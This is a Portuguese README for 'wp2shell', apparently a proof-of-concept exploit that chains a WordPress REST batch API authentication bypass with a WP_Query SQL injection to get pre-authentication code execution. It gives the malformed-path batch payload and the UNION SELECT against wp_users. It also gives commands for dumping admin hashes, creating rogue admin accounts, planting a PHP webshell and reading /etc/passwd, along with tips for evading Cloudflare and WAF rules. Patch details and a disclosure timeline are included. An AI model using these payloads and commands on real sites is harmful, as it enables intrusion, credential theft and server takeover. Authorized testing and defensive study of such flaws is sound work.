
PoC de RCE pré-autenticação que encadeia um bypass de autenticação da API REST batch do WordPress com injeção SQL no WP_Query para extrair hashes, adicionar usuários administradores ou plantar um webshell.
PoC de RCE Pré-Autenticação - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Apenas para testes de penetração autorizados e pesquisa de segurança. Executar isto contra sistemas sem autorização por escrito é ilegal. Os autores não aceitam qualquer responsabilidade pelo uso indevido.
wp2shell é um exploit de prova de conceito que encadeia duas vulnerabilidades reportadas independentemente para alcançar execução remota de código não autenticada em instalações do WordPress não corrigidas.
| CVE | Componente | Classe | Autenticação Necessária |
|---|---|---|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Dessincronização de array → bypass de autenticação | Nenhuma |
| CVE-2026-60137 | WP_Query | Injeção SQL via author__not_in | Nenhuma (contornada pela anterior) |
O resultado final: um shell na máquina, uma conta de administrador maliciosa, ou um hash de credencial extraído — tudo a partir de um único pedido POST não autenticado.
Versões afetadas: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corrigido em: WordPress 6.9.5 / 7.0.2 (patch lançado juntamente com a divulgação coordenada)
O WordPress 5.6 introduziu o endpoint de processamento em lote em /wp-json/batch/v1. Permite que clientes REST autenticados agrupem múltiplos sub-pedidos num único round-trip HTTP. Cada sub-pedido é validado e despachado independentemente por WP_REST_Server::serve_batch_request_v1().
Dentro de serve_batch_request_v1() (simplificado):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
Os dois arrays ($responses e $matches) devem manter-se sincronizados — uma entrada por sub-pedido, no mesmo índice. Quando o sub-pedido [0] falha em wp_parse_url(), adiciona uma entrada a $responses mas não a $matches. Após o primeiro loop:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
O Loop 2 despacha então $matches[0] e escreve o resultado em $responses[0]. Está a despachar o pedido[1] mas a sobrescrever o índice 0 nas respostas — e, criticamente, usa o contexto de permissão que foi calculado como parte do tratamento de erro do pedido[0] falhado, não o contexto de permissão para o endpoint alvo.
O efeito prático: qualquer endpoint que exija autenticação (incluindo endpoints que executam consultas SQL) pode ser chamado sem credenciais.
"path": "://\x00" # triggers wp_parse_url() → false
A string ://\x00 é uma string Python válida mas um URL inválido no wrapper wp_parse_url() do PHP (o byte nulo faz com que o parse falhe, retornando false em vez de um WP_Error, o que torna a verificação is_wp_error() inútil — apenas $parsed === false o captura, e o alinhamento do array já está quebrado nesse ponto).
author__not_in do WP_QueryA REST API do WordPress para posts (/wp/v2/posts) expõe um parâmetro de consulta author_exclude que mapeia diretamente para o argumento author__not_in do WP_Query. O WP_Query é a abstração de base de dados central usada para quase todas as consultas de conteúdo no WordPress.
Em WP_Query::parse_query() (simplificado):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Mais adiante em WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
A sanitização só é acionada quando $author__not_in é um array. O sistema de tipos do PHP determina isto com base em como o valor chegou:
[1, 2, 3] → is_array() = true → sanitizado"1,2,3" (uma string) → is_array() = false → não sanitizadoO endpoint REST aceita author_exclude a partir da query string do URL. Chega como uma string. O WP_Query ignora o bloco de sanitização, e o valor bruto é interpolado na cláusula WHERE do SQL.
O ponto de injeção cai dentro de um contexto NOT IN (...):
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Como o endpoint de lote despacha o sub-pedido como parte de um resultado de consulta maior, as linhas do UNION são retornadas no corpo da resposta JSON do REST, tornando isto uma extração Boolean/UNION sem blind — sem timing, sem out-of-band necessário.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Instalar dependências:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
Apenas deteção — seguro para executar durante o scoping:
python3 wp2shell.py https://target.com --mode detect
Extrair hash de admin:
python3 wp2shell.py https://target.com --mode dump
Extrair com output de debug (mostra respostas HTTP brutas — útil quando há um WAF envolvido):
python3 wp2shell.py https://target.com --mode dump --debug
Criar conta de admin maliciosa:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
Plantar shell e passar para prompt interativo:
python3 wp2shell.py https://target.com --mode shell
Execução de comando one-shot (não interativo):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
Através do proxy Burp:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
Contornar Cloudflare com cookie cf_clearance existente:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
Prefixo de tabela não predefinido:
python3 wp2shell.py https://target.com --mode dump --prefix staging_
A ferramenta usa cloudscraper por predefinição, que imita uma impressão digital TLS do Chrome e resolve automaticamente o desafio JavaScript do Cloudflare (modo iuam). Isto cobre a maioria dos alvos de alojamento partilhado atrás do Cloudflare.
Se o alvo usar a gestão de bots do Cloudflare (__cf_bm) ou se já tiver um cookie de desafio resolvido, passe-o com --cookie "cf_clearance=..." para usar uma sessão requests simples em vez disso.
O endpoint de lote tem dois caminhos registados. As regras de WAF bloqueiam frequentemente o caminho padrão (/wp-json/batch/v1) mas deixam passar o caminho legado com parâmetro de consulta (/?rest_route=/batch/v1). A ferramenta sonda ambos automaticamente.
[-] Could not extract credentials
--debug para ver a resposta JSON bruta.--prefix. Muitas instalações usam wp_ (predefinido); algumas usam prefixos personalizados.content.rendered do alvo pode estar filtrado. Tente --mode adduser em vez disso.[-] OUTFILE failed
SELECT INTO OUTFILE requer o privilégio FILE do MySQL no utilizador da BD. Isto é comum em alojamento partilhado mas normalmente desativado em bases de dados cloud/geridas (RDS, Cloud SQL, etc.).--mode dump para ler o caminho a partir dos ficheiros de configuração.[-] Target does not appear vulnerable
GET /wp-json/ e procure /batch/v1 na chave routes.WordPress 6.9.5 / 7.0.2 abordou ambos os CVEs:
CVE-2026-63030: serve_batch_request_v1() agora mantém um único array unificado tanto para os dados de correspondência como para as respostas, eliminando a dessincronização de índices. Os pedidos falhados são rastreados por índice na estrutura unificada.
CVE-2026-60137: WP_Query::parse_query() agora converte author__not_in para um array incondicionalmente antes da sanitização, independentemente do tipo de entrada:
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | Pontuação | Vetor |
|---|---|---|
| CVE-2026-63030 | 9.8 Crítico | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Crítico | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Esta ferramenta é fornecida apenas para testes de segurança autorizados e investigação.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
Licença MIT — consulte LICENSE
| Modo | O que faz |
|---|
detect | Faz fingerprint da versão do WP e verifica se o endpoint de lote existe. Sem exploração. |
dump | Extrai o hash da password do administrador via UNION SQLi. |
adduser | Cria uma nova conta de administrador via consultas INSERT empilhadas. |
shell | Planta um webshell PHP via SELECT INTO OUTFILE, depois passa para shell interativo. |
| Data | Evento |
|---|
| 2026-05-14 | CVE-2026-60137 descoberto durante um trabalho de pentest |
| 2026-05-19 | CVE-2026-63030 descoberto; cadeia confirmada como RCE pré-autenticação |
| 2026-05-22 | Ambos os CVEs reportados à Equipa de Segurança do WordPress via HackerOne |
| 2026-06-03 | A Equipa de Segurança do WordPress confirma e inicia o desenvolvimento do patch |
| 2026-07-08 | Patches lançados (WP 6.9.5 / 7.0.2) juntamente com a divulgação coordenada |
| 2026-07-22 | PoC publicado |